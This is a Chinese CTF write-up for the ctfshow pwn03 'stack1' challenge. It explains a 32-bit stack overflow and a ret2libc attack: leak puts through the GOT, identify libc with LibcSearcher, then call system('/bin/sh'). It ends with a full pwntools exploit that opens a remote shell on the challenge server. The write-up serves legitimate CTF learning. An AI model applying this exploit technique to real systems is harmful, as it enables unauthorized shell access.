ctfshow_pwn03 stack1

checksec一下

在这里插入图片描述
32位程序开了nx,ret2shellcode不行了
拖入ida
main函数在这里插入图片描述
查看那个好明显的函数pwnme
在这里插入图片描述
可溢出
没有找到后门等
ret2text和ret2syscall都不可以了
我能想到的是ret2libc
本题有puts,所以可以用puts来泄露libc的版本
原因:延时绑定,可以泄露调用过的函数的got地址(具体不太了解)
第一个payload

payload=b'a'*13+p32(puts_plt)+p32(main_addr)+p32(puts_got)

之前的准备:

elf=ELF('./stack1')
puts_plt=elf.plt['puts']
puts_got=efl.got['puts']
main_addr=elf.symbols['main']

偏移量的计算:ida给的是对的
在这里插入图片描述
9+4=13
解释为啥payload先plt再main最后got
我的理解:先plt是调用puts函数,main的地址作为返回地址为了下一次的payload发送,got则作为函数的参数,即puts函数的地址。
发送数据后要接受puts的地址
接受之前要

io.recvuntil('32bits\n')
io.recvuntil('\n')

之后接收数据

puts_addr=u32(io.recv(4))

接收四个字节(32位的一个地址长度)

然后获取libc版本

libc=LibcSearcher('puts',puts_addr)

计算基址

libcbase=puts_addr-elf.dump('puts')

算system和/bin/sh

sys_addr=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')

最终exp

from pwn import*
from LibcSearcher import*
#io=process('./stack1')
io=remote('pwn.challenge.ctf.show',28190)
elf=ELF('./stack1')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main_addr=elf.symbols['main']
payload=b'a'*13+p32(puts_plt)+p32(main_addr)+p32(puts_got)
io.sendline(payload)
io.recvuntil('32bits\n')
io.recvuntil('\n')
puts_addr=u32(io.recv(4))
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libcbase=puts_addr-libc.dump('puts')
sys_addr=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
payload=b'a'*13+p32(sys_addr)+b'a'*4+p32(bin_sh)
io.sendline(payload)
io.interactive()

运行后就可以拿到shell啦

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值